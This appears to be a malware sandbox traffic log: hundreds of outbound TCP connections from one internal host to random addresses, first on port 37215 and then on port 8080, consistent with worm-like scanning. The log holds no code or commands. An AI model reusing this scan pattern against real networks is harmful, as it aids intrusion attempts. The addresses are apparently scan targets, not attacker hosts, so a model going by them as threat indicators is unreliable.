Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.12.91.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.189.13.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.162.118.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.122.47.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.15.68.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.243.232.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.17.208.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.93.156.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.107.125.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.166.10.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.210.98.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.189.115.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.17.126.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.5.105.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.159.187.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.136.80.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.144.13.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.114.93.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.69.65.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.135.182.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.49.59.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.185.237.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.166.132.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.187.226.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.41.106.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.122.151.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.75.149.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.86.162.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.178.34.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.205.49.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.98.38.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.72.50.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.222.212.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.255.48.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:47415 -> 197.98.39.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.201.184.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.234.62.164:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.167.119.203:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.229.145.146:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.11.245.169:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.148.78.123:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.6.7.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.226.105.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.253.121.47:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.138.143.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.197.227.208:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.25.106.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.179.2.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.253.121.179:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.67.107.97:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.216.25.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.227.144.28:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.97.241.71:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.9.248.233:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.86.237.191:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.53.168.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.115.150.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.248.168.178:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.236.173.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.112.211.50:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.65.35.88:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.12.192.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.43.250.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.241.190.179:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.127.75.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.116.72.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.55.29.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.80.104.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.161.32.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.184.82.240:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.73.137.240:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.108.1.10:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.174.141.169:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.169.152.13:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.172.163.222:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.235.9.144:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.41.71.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.219.118.171:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.213.57.216:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.103.102.124:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.110.82.196:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.238.133.178:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.89.135.156:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.16.167.14:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.176.93.237:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.169.33.121:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.56.59.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.32.105.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.210.112.164:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.37.234.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.230.102.59:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.143.55.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.126.169.79:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.130.0.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.225.173.251:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.116.250.165:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.58.8.143:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.31.95.19:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.44.188.138:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.118.77.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.211.252.42:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.61.86.47:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.12.110.27:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.85.194.30:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.225.41.83:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.126.158.253:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.63.208.148:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.1.128.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.184.0.89:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.210.219.162:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.149.48.44:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.197.110.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.211.76.69:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.82.180.121:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.243.87.15:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.101.183.162:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.148.60.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.80.216.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.253.168.163:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.233.18.170:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.54.225.71:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.172.161.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.126.235.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.37.112.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.218.241.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.122.106.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.251.99.184:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.50.2.39:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.206.253.197:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.100.74.198:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.249.79.242:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.45.246.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.152.19.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.24.253.46:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.129.158.43:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.242.194.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.34.61.8:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.180.123.220:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.161.210.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.218.165.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.209.123.163:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.64.107.192:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.97.26.7:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.222.0.174:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.137.162.68:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.114.0.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.181.133.171:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.223.225.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.45.27.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.203.174.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.245.49.65:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.149.247.95:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.106.20.47:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.164.7.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.222.195.206:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.57.130.83:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.72.102.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.192.87.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.231.74.216:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.201.75.177:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.195.73.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.164.173.45:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.181.120.160:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.115.227.90:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.153.199.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.145.114.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.151.149.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.95.121.160:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.102.59.167:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.124.15.222:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.95.49.32:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.96.127.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.20.208.232:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.111.47.186:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.35.234.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.193.85.148:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.95.154.119:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.152.151.175:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.166.149.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.123.197.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.241.171.181:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.190.61.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.204.123.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.194.2.0:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.80.91.197:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.138.137.29:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.68.98.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.226.17.4:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.69.227.184:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.14.229.61:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.73.167.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.204.209.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.21.149.157:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.248.200.165:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.166.81.135:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.1.203.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.93.98.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.214.235.226:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.172.53.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.142.130.200:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.46.197.94:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.206.63.98:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.191.89.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.223.206.157:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.112.37.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.210.72.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.98.247.145:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.2.165.135:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.14.76.163:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.58.191.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.122.29.184:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.177.164.118:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.241.218.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.222.120.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.67.56.162:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.124.186.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.118.72.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.8.157.116:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.116.124.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.12.228.181:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.227.75.220:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.11.137.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.181.31.63:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.2.28.4:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.64.17.15:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.96.60.86:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.243.69.106:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.218.241.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.25.160.108:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.210.161.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.239.195.88:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.65.84.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.129.192.191:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.228.45.172:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.121.59.222:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.104.250.159:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.26.2.15:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.204.11.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.192.55.72:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.192.133.214:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.217.35.140:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.224.96.150:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.224.186.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.31.184.235:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.150.174.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.125.247.170:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.251.61.162:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.114.77.56:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.50.3.138:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.113.74.251:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.234.19.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.105.229.32:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.20.141.9:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.48.123.79:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.69.54.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.121.127.222:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.213.124.160:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.142.138.96:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.220.13.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.138.52.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.244.236.193:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.116.147.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.56.94.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.41.111.233:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.194.101.204:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.199.235.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.249.177.45:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.45.209.46:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.211.225.133:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.64.182.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.240.92.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.170.144.230:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.194.60.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.84.236.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.105.105.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.67.120.208:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.170.100.249:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.202.11.67:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.89.122.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.98.98.234:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.18.79.42:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.36.100.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.98.18.63:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.195.142.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.0.74.247:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.159.17.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.89.114.122:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.127.45.209:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.188.252.99:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.146.179.177:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.79.168.90:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.110.195.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.244.9.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.123.146.3:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.153.30.122:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.231.127.178:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.228.202.44:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.225.10.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.152.167.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.16.46.172:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.245.146.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.58.13.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.9.13.221:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.116.128.104:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.226.196.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.98.11.50:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.154.99.22:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.38.220.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.252.123.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.133.95.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.121.97.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.126.24.147:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.35.82.33:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.122.16.230:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.138.209.37:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.207.102.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.217.218.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.163.59.146:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.13.203.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.73.72.116:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.80.103.35:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.246.140.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.230.219.225:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.112.56.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.196.0.104:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.223.18.190:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.80.194.173:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.248.89.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.243.127.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.7.233.19:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.112.168.152:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.194.71.78:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.60.205.171:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.232.154.78:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.76.155.0:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.173.200.138:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.244.248.253:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.104.231.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.203.117.116:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.167.148.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.254.182.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.119.6.144:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.19.102.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.59.80.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.48.242.250:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.162.29.39:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.69.195.78:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.132.99.107:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.177.209.76:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.157.19.184:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.163.144.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.234.2.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.154.231.31:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.138.213.84:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.211.36.178:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.7.184.174:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 95.180.145.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.249.47.242:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 62.233.241.140:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 94.250.174.201:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 31.178.80.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.169.156.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.18.173.235:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.116.48.161:8080
Source: global traffic	TCP traffic: 192.168.2.13:47566 -> 85.150.61.215:8080
